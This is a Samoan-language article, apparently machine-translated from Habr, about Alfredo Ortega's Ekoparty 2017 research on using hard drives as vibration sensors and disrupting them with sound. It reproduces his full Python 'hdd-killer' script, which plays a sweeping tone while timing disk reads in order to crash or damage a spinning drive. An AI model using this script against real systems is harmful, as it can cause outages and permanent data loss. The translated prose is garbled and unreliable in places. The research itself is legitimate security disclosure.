I le Ekoparty 2017 computer security conference i Buenos Aires, na faʻaalia e le hacker Atenitina Alfredo Ortega se atinaʻe sili ona manaia - o se faiga mo le faʻaogaina faalilolilo o fale e aunoa ma le faʻaogaina o se masini faaleotele leo. Leo
O le HDD e masani lava ona pikiina leo maualalo maualalo, tulagavae ma isi vibration. E le mafai ona iloa le tautala a tagata, e ui lava o saienitisi
O le leo o le tetete o le ea po o se isi ala. E iloa atu e se tagata e ala i le taliga taliga, lea e feaveai ai le tetete i le taliga i totonu. O le masini faaleotele leo ua mamanuina e pei o se taliga - o iinei foi, vibration o loʻo faʻamauina e se paʻu manifinifi, lea e faʻaosofia ai se manaʻo eletise. O le ta'avale malo, ioe, e fa'apena fo'i ona fa'atete'e microscopic ona o suiga i le ea si'osi'omaga. E iloa lenei mea mai uiga faʻapitoa o HDDs: e masani ona faʻaalia e le au gaosiga le maualuga o le vibration faʻatagaina, ma o le kiliva malosi lava ia e masani ona taumafai e tuʻu i totonu o se pusa vibration-proof e faia i le paʻu poʻo isi mea faʻapipiʻi. Mai lenei mea e faigofie ona faʻamaonia e mafai ona puʻeina leo e faʻaaoga ai le HDD. Pau lava le mea o loʻo totoe o le suʻeina pe faʻafefea.
Na fa'ailoa mai e Alfredo Ortega se fa'aaliga tulaga ese o se osofa'iga i le itu, e ta'ua o se osofa'iga taimi. O lenei osofaʻiga e faʻavae i luga o le manatu o gaioiga eseese e faia i luga o le masini i taimi eseese, e faʻatatau i faʻamatalaga tuʻuina atu. I lenei tulaga, o le "faʻamatalaga tuʻufaʻatasia" o le vibrations o le ulu faitau ma le HDD plate, lea e faʻafetaui ma vibrations o le siosiomaga, o lona uiga, ma le leo. O le mea lea, e ala i le fuaina o le taimi faʻatulagaina ma le faia o se suʻesuʻega faʻafuainumera o faʻamaumauga, o le vibrations o le ulu / ipu ma o lea e mafai ai ona fuaina le vibrations o le ala. O le umi o le tuai i le faitauina o faʻamatalaga, o le malosi o le HDD vibrations ma, o le mea lea, o le leotele o le leo.
E fa'afefea ona fua le vibration hard drive? Fa'afaigofie tele: na'o le fa'agaoioia o le system call read ()
— ma faamaumau le taimi e faamaea ai. O faiga fa'aonaponei fa'aonaponei e fa'atagaina oe e faitau le taimi o telefoni fa'aoga ma le sa'o sa'o o le nanosecond.
O le saoasaoa o le faitauina o faʻamatalaga mai se vaega e faʻalagolago i le tulaga o le ulu ma le ipu, lea e fetaui ma vibration o le HDD case. Pau lava lena.
O su'esu'ega fa'amaumauga o lo'o fa'atinoina e fa'aaoga ai se fa'aoga faigofie Kscope. E pei ona latou fai mai, o mea uma poto e faigofie.
Kscope aoga (stat() syscall)
Kscope o se faʻaoga laʻititi mo le vaʻaia o nai eseesega laiti i taimi o le faʻaogaina o le telefoni. Punavai
I totonu o se faleoloa eseese read ()
.
Faʻaaliga o le puʻeina o leo e faʻaaoga ai le HDD, faʻaogaina o le aoga Kscope
O le mea moni, e le mafai ona malamalama le tautala i lenei auala, ae o le HDD e fetaui lelei e avea o se masini vibration. Mo se faʻataʻitaʻiga, e mafai ona e lesitala pe a ulufale se tagata o loʻo ofuina ni seevae malō pe leai ni seevae i totonu o se potu ma se komepiuta (atonu, afai o loʻo ofuina e le tagata osofaʻi ni sneakers vaivai pe o loʻo i ai se kapeta mafiafia i luga o le fola, o le a le mafai e le HDD ona resitala vibrations - e tatau ona siaki lenei mea). E mafai e le komepiuta ona resitalaina tioata malepelepe po'o isi fa'alavelave fa'atasi ma le malosi o le leo. O lona uiga, e mafai e le ta'avale malo ona avea o se ituaiga o faiga e su'esu'eina fa'alavelave e le'i fa'atagaina.
HDD fasioti tagata
I le auala, e mafai ona faʻaogaina se metotia faʻapena e faʻamalo ai taʻavale faigata. Na o iinei tatou te le aveesea ai oscillations mai le HDD, ae i se isi itu, tatou te gaosia oscillations e fafagaina i le HDD. Afai e te taina le leo mai se failauga i se taimi e faʻalogo i le HDD frequency, e vave ona tape e le masini le masini ma se I/O sese (o le fatu Linux e tape atoa le HDD pe a uma le 120 sekone). O le ta'avale malo lava ia e ono fa'aleagaina e le mafai ona toe fa'afo'isia.
Na tape e le fatu Linux le kesi malo ina ua maeʻa le 120 sekone o le tuʻuina atu o le leo i se taimi faʻalogo e ala i le failauga o le Edifier r19u USB speaker. O le failauga e ki i le tusa o le kuata o le mana (itiiti ifo i le 100 mW) ma o loʻo tu i le 20 cm mai le HDD, faʻatatau i le laulau e faʻaleleia ai le vibration. Fa'avaa mai
E fia iloa o ia "osofaʻiga" i HDD o nisi taimi e tupu faʻafuaseʻi i le olaga i aso faisoo. Mo se faʻataʻitaʻiga, i le masina o Setema 2016, na faʻamalosia ai le nofoaga autu o faʻamaumauga a le ING Bank e taofi galuega mo 10 itula pe a maeʻa se faʻataʻitaʻiga afi.
Fa'aaliga o le 'e'e a tagata i ta'avale malo i totonu o se nofoaga autu o fa'amaumauga. Fuaga Latency
Ina ia maua le leo faʻalogo, na tusia e Alfredo Ortega se tusitusiga Python e taʻua
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
puna: www.habr.com